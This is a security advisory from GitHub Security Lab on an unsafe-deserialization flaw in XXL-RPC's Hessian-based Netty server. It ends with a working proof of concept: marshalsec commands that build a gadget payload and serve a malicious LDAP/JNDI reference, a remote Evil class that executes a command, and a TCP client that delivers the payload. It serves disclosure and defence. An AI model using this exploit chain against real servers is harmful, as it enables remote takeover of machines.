skip to content
Back to GitHub.com
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
October 13, 2023

GHSL-2023-052: Unsafe deserialization in XXL-RPC - CVE-2023-45146

GitHub Security Lab

Coordinated Disclosure Timeline

Summary

XXL-RPC is a high performance, distributed RPC framework. With it, a TCP server can be set up using the Netty framework and the Hessian serialization mechanism. When such a configuration is used, attackers may be able to connect to the server and provide malicious serialized objects that, once deserialized, force it to execute arbitrary code. This can be abused to take control of the machine the server is running in.

Product

XXL-RPC

Tested Version

1.7.0

Details

Unsafe deserialization in HessianSerializer.java (GHSL-2023-052)

The XXL-RPC framework implements several ways of setting up a server and deserializing incoming data. An application can be configured to use a Netty server and a Hessian deserializer as follows:

XxlRpcProviderFactory providerFactory = new XxlRpcProviderFactory();
providerFactory.setServer(NettyServer.class);
providerFactory.setSerializer(HessianSerializer.class);

It can be seen that NettyServer uses NettyDecoder to decode incoming messages:

xxl-rpc-core/src/main/java/com/xxl/rpc/core/remoting/net/impl/netty/server/NettyServer.java:57

channel.pipeline()
        // --snip--
        .addLast(new NettyDecoder(XxlRpcRequest.class, xxlRpcProviderFactory.getSerializerInstance()))

With such a configuration, incoming messages will be received in NettyDecoder.decode:

xxl-rpc-core/src/main/java/com/xxl/rpc/core/remoting/net/impl/netty/codec/NettyDecoder.java:15-45

public class NettyDecoder extends ByteToMessageDecoder {

    // --snip--

    @Override
    public final void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception {
        // --snip--
        int dataLength = in.readInt();
        if (dataLength < 0) {
            ctx.close();
        }
        // --snip--
        byte[] data = new byte[dataLength];
        in.readBytes(data);

        Object obj = serializer.deserialize(data, genericClass);
        out.add(obj);
    }
}

As it can be seen, first an integer is read from the message, indicating the length of the actual data. Said data is then read and directly passed to serializer.deserialize. Since the serializer was configured to be HessianSerializer, deserialization is handled by it:

xxl-rpc-core/src/main/java/com/xxl/rpc/core/serialize/impl/HessianSerializer.java:45

@Override
public <T> Object deserialize(byte[] bytes, Class<T> clazz) {
    ByteArrayInputStream is = new ByteArrayInputStream(bytes);
    Hessian2Input hi = new Hessian2Input(is);
    try {
        Object result = hi.readObject();
        return result;
    }
    // --snip--
}

The message bytes are directly passed to Hessian2Input.readObject, which will proceed to deserialize the object sent in the message.

Note that XXL-RPC uses com.caucho’s implementation of Hessian, which is known to be vulnerable to unsafe deserialization. Other implementations attempt to mitigate this issue by including a disallow list of forbidden objects, such as sofa-hessian, but this approach isn’t perfect either (see the Remediation section).

Impact

This issue may lead to Remote Code Execution (RCE).

Resources

The exploitation of this vulnerability varies depending on the deserialization gadgets available in the classpath of the application using the XXL-RPC framework. As described in this blog post, several conditions must be met in order to achieve remote code execution using this vulnerability.

As a proof of concept, and for the sake of simplicity, we make the following assumptions:

  1. The application has Rome as one of its dependencies:
<dependency>
  <groupId>com.rometools</groupId>
  <artifactId>rome</artifactId>
  <version>1.7.0</version>
</dependency>
  1. Remote class loading is allowed (either because an old JDK version is being used, or by using the JVM argument -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)

If these two conditions are met, the XxlRpcServerApplication class in XXL-RPC’s samples directory can be launched, which sets up a Netty server listening at port 7080.

Then, a malicious payload forcing a JNDI resolution to a server of our choosing can be generated with marshalsec:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 Rome ldap://localhost:1389 > payload.bin

We set up a malicious JNDI server that returns a reference to a remote codebase also running in a server we control:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8000/\#Evil 1389

The HTTP server running at port 8000 serves the .class file of the Evil class, which has the following source code:

public class Evil {
    static {
        try {
            Runtime.getRuntime()
                    .exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (Exception e) {
        }
    }
}

Finally, we can write a TCP client that sends the appropriate message to the Netty server to trigger the RCE:

import java.io.DataOutputStream;
import java.net.Socket;
import java.nio.file.Files;
import java.nio.file.Paths;


public class TcpClient {

    public static void main(String[] args) {
        try {
            byte[] DESERIALIZATION_PAYLOAD = Files.readAllBytes(Paths.get("payload.bin"));
            Socket socket = new Socket("localhost", 7080);
            DataOutputStream out = new DataOutputStream(socket.getOutputStream());
            out.writeInt(DESERIALIZATION_PAYLOAD.length);
            out.write(DESERIALIZATION_PAYLOAD);
            out.flush();
            socket.close();
        } catch (Exception ex) {
            System.err.println(ex);
        }
    }
}

Credit

This issue was discovered and reported by the GitHub CodeQL team members @atorralba (Tony Torralba) and @joefarebrother (Joseph Farebrother).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-052 in any communication regarding this issue.